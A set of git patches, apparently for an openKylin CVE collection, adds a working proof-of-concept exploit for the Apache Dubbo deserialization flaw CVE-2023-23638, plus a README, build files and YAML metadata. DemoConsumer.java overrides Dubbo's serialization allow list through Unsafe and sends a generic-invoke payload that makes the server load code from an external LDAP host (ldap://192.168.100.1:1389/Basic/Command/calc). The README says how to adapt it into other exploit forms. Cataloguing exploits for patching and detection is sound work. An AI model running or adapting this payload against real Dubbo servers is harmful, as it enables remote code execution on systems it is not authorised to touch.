From ee38fa624e10c7e3a0efca3d959894ce6ecbdc6d Mon Sep 17 00:00:00 2001 From: zeroc Date: Tue, 4 Apr 2023 20:47:28 +0800 Subject: [PATCH 1/4] =?UTF-8?q?=E6=B7=BB=E5=8A=A0CVE-2023-23638?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2023/CVE-2023-23638/README.md | 7 + .../apache/dubbo/samples/DemoConsumer.java | 51 ++++++++ .../apache/dubbo/samples/DemoProvider.java | 18 +++ .../dubbo/samples/api/HelloService.java | 6 + .../dubbo/samples/impl/HelloServiceImpl.java | 11 ++ .../poc/main/resources/log4j.properties | 26 ++++ .../spring/generic-type-consumer.xml | 34 +++++ .../spring/generic-type-provider.xml | 38 ++++++ cve/apache-Dubbo/2023/CVE-2023-23638/pom.xml | 121 ++++++++++++++++++ .../2023/yaml/CVE-2023-23638.yaml | 22 ++++ openkylin_list.yaml | 3 +- 11 files changed, 336 insertions(+), 1 deletion(-) create mode 100644 cve/apache-Dubbo/2023/CVE-2023-23638/README.md create mode 100644 cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/DemoConsumer.java create mode 100644 cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/DemoProvider.java create mode 100644 cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/api/HelloService.java create mode 100644 cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/impl/HelloServiceImpl.java create mode 100644 cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/log4j.properties create mode 100644 cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/spring/generic-type-consumer.xml create mode 100644 cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/spring/generic-type-provider.xml create mode 100644 cve/apache-Dubbo/2023/CVE-2023-23638/pom.xml create mode 100644 cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/README.md b/cve/apache-Dubbo/2023/CVE-2023-23638/README.md new file mode 100644 index 00000000..f267cc7b --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/README.md @@ -0,0 +1,7 @@ +# CVE-2023-23638 + +dubbo泛型调用存在反序列化漏洞，可导致恶意代码执行。该问题影响Apache Dubbo 2.7.x 2.7.21及之前版本； Apache Dubbo 3.0.x 版本 3.0.13 及之前版本； Apache Dubbo 3.1.x 版本 3.1.5 及之前的版本。 + +复现时需要为 DemoComsumer 添加 VM 参数: `-Ddubbo.hessian.allowNonSerializable=true`, 详情参考 https://su18.org/post/hessian/#serializable + +POC 的本质是利用某个 class 修改 properties 以绕过限制, 代码给的是 JNDI 注入, 可以参考 [CVE-2023-23638 Apache Dubbo JavaNative反序列化漏洞分析](https://mp.weixin.qq.com/s?__biz=Mzg3OTcyNjM1MQ==&mid=2247483788&idx=1&sn=7954ad20fec203469a13a09050536a1c) 自行修改成反序列化的利用方式 diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/DemoConsumer.java b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/DemoConsumer.java new file mode 100644 index 00000000..6349f728 --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/DemoConsumer.java @@ -0,0 +1,51 @@ +package org.apache.dubbo.samples; + +import org.apache.dubbo.common.utils.ConcurrentHashSet; +import org.apache.dubbo.common.utils.SerializeClassChecker; +import org.apache.dubbo.rpc.service.GenericService; +import org.springframework.context.support.ClassPathXmlApplicationContext; +import sun.misc.Unsafe; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.*; + +public class DemoConsumer { + public static void main(String[] args) throws Exception { + ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml"); + context.start(); + + Constructor constructor = Unsafe.class.getDeclaredConstructor(); + constructor.setAccessible(true); + Unsafe unsafe = constructor.newInstance(); + + Set allowSet = new ConcurrentHashSet<>(); + allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase()); + + SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class); + Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET"); + f.setAccessible(true); + f.set(serializeClassChecker, allowSet); + +// SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class); +// Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_BLOCKED_SET"); +// f.setAccessible(true); +// f.set(serializeClassChecker, new ConcurrentHashSet<>()); + + Map map1 = new HashMap<>(); + map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker"); + map1.put("INSTANCE", serializeClassChecker); + + Map map2 = new LinkedHashMap<>(); + map2.put("class", "com.sun.rowset.JdbcRowSetImpl"); + map2.put("dataSourceName", "ldap://192.168.100.1:1389/Basic/Command/calc"); + map2.put("autoCommit", true); + + List list = new LinkedList(); + list.add(map1); + list.add(map2); + + GenericService genericService = (GenericService) context.getBean("helloService"); + genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{list}); + } +} diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/DemoProvider.java b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/DemoProvider.java new file mode 100644 index 00000000..bc872532 --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/DemoProvider.java @@ -0,0 +1,18 @@ +package org.apache.dubbo.samples; + +import org.springframework.context.support.ClassPathXmlApplicationContext; + +import java.util.concurrent.CountDownLatch; + +public class DemoProvider { + + public static void main(String[] args) throws Exception { + + ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-provider.xml"); + context.start(); + + System.out.println("dubbo service started"); + new CountDownLatch(1).await(); + } + +} diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/api/HelloService.java b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/api/HelloService.java new file mode 100644 index 00000000..bbc3eb8a --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/api/HelloService.java @@ -0,0 +1,6 @@ +package org.apache.dubbo.samples.api; + + +public interface HelloService { + String sayHello(String name); +} \ No newline at end of file diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/impl/HelloServiceImpl.java b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/impl/HelloServiceImpl.java new file mode 100644 index 00000000..4908a3a7 --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/java/org/apache/dubbo/samples/impl/HelloServiceImpl.java @@ -0,0 +1,11 @@ +package org.apache.dubbo.samples.impl; + +import org.apache.dubbo.samples.api.HelloService; + + +public class HelloServiceImpl implements HelloService { + @Override + public String sayHello(String name) { + return name; + } +} diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/log4j.properties b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/log4j.properties new file mode 100644 index 00000000..72328731 --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/log4j.properties @@ -0,0 +1,26 @@ +# +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# + +###set log levels### +log4j.rootLogger=info, stdout +###output to the console### +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.Target=System.out +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=[%d{dd/MM/yy hh:mm:ss:sss z}] %t %5p %c{2}: %m%n \ No newline at end of file diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/spring/generic-type-consumer.xml b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/spring/generic-type-consumer.xml new file mode 100644 index 00000000..bd43ee99 --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/spring/generic-type-consumer.xml @@ -0,0 +1,34 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/spring/generic-type-provider.xml b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/spring/generic-type-provider.xml new file mode 100644 index 00000000..e735ce6b --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/poc/main/resources/spring/generic-type-provider.xml @@ -0,0 +1,38 @@ + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cve/apache-Dubbo/2023/CVE-2023-23638/pom.xml b/cve/apache-Dubbo/2023/CVE-2023-23638/pom.xml new file mode 100644 index 00000000..63f4db38 --- /dev/null +++ b/cve/apache-Dubbo/2023/CVE-2023-23638/pom.xml @@ -0,0 +1,121 @@ + + + + + 4.0.0 + + dubbo-samples-test + org.apache.dubbo.samples + 1.0-SNAPSHOT + + + 1.8 + 1.8 + 3.1.5 + + + 4.3.3.RELEASE + 4.13.1 + 3.7.0 + + + + + + org.springframework + spring-framework-bom + ${spring.version} + pom + import + + + org.apache.dubbo + dubbo-bom + ${dubbo.version} + pom + import + + + org.apache.dubbo + dubbo-dependencies-zookeeper + ${dubbo.version} + pom + + + junit + junit + ${junit.version} + test + + + + org.springframework + spring-test + test + + + + + + + org.apache.dubbo + dubbo + + + + org.apache.dubbo + dubbo-dependencies-zookeeper + pom + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + ${maven-compiler-plugin.version} + + ${source.level} + ${target.level} + + + + org.springframework.boot + spring-boot-maven-plugin + + + + repackage + + + spring-boot + + org.apache.dubbo.samples.DemoConsumer + + + + + + + + diff --git a/cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml b/cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml new file mode 100644 index 00000000..760bc28f --- /dev/null +++ b/cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml @@ -0,0 +1,22 @@ +id: CVE-2023-23638 +source: https://github.com/X1r0z/CVE-2023-23638 +info: + name: Dubbo是阿里巴巴开源的一款高性能、轻量级的分布式服务框架。 + severity: CRITICAL + description: | + Dubbo是一个高性能优秀的服务框架。CVE-2023-23638中，Dubbo泛型调用存在反序列化漏洞，可导致恶意代码执行。 + scope-of-influence: + Dubbo 2.7.0 - 2.7.21 + Dubbo 3.0.0 - 3.0.13 + Dubbo 3.1.0 - 3.1.5 + reference: + - https://exp10it.cn/2023/03/apache-dubbo-cve-2023-23638-%E5%88%86%E6%9E%90/ + - https://mp.weixin.qq.com/s?__biz=Mzg3OTcyNjM1MQ==&mid=2247483788&idx=1&sn=7954ad20fec203469a13a09050536a1c + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-23638 + cwe-id: CWE-502 + cnvd-id: None + kve-id: None + tags: Apache Dubbo,Deserialization vulnerability when generic invoke diff --git a/openkylin_list.yaml b/openkylin_list.yaml index f3d3f72d..07840e3c 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -13,7 +13,8 @@ cve: - CVE-2022-24706 apache-Dubbo: - CVE-2021-43297 - - CVE-2021-25641 + - CVE-2021-25641 + - CVE-2023-23638 apache-OFBiz: - CVE-2021-26295 apache-log4j: -- Gitee From b9609bc80ae5413aaff8d1e1f8859b7e32bea63a Mon Sep 17 00:00:00 2001 From: zeroc Date: Fri, 7 Apr 2023 16:00:52 +0800 Subject: [PATCH 2/4] =?UTF-8?q?=E6=B7=BB=E5=8A=A0CVE-2022-28346?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml b/cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml index 760bc28f..9e72780e 100644 --- a/cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml +++ b/cve/apache-Dubbo/2023/yaml/CVE-2023-23638.yaml @@ -19,4 +19,4 @@ info: cwe-id: CWE-502 cnvd-id: None kve-id: None - tags: Apache Dubbo,Deserialization vulnerability when generic invoke + tags: Apache Dubbo, Deserialization vulnerability when generic invoke -- Gitee From bbf39dd22e940d0a776eed142578a6645e886250 Mon Sep 17 00:00:00 2001 From: zeroc Date: Fri, 7 Apr 2023 16:06:26 +0800 Subject: [PATCH 3/4] =?UTF-8?q?=E6=B7=BB=E5=8A=A0CVE-2022-28346?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- openkylin_list.yaml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 07840e3c..f3d3f72d 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -13,8 +13,7 @@ cve: - CVE-2022-24706 apache-Dubbo: - CVE-2021-43297 - - CVE-2021-25641 - - CVE-2023-23638 + - CVE-2021-25641 apache-OFBiz: - CVE-2021-26295 apache-log4j: -- Gitee From 5296d5eba38a39cf5537a17970dbbadea71852c6 Mon Sep 17 00:00:00 2001 From: zeroc Date: Fri, 7 Apr 2023 16:20:25 +0800 Subject: [PATCH 4/4] =?UTF-8?q?=E6=B7=BB=E5=8A=A0CVE-2023-23638?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- openkylin_list.yaml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/openkylin_list.yaml b/openkylin_list.yaml index f3d3f72d..07840e3c 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -13,7 +13,8 @@ cve: - CVE-2022-24706 apache-Dubbo: - CVE-2021-43297 - - CVE-2021-25641 + - CVE-2021-25641 + - CVE-2023-23638 apache-OFBiz: - CVE-2021-26295 apache-log4j: -- Gitee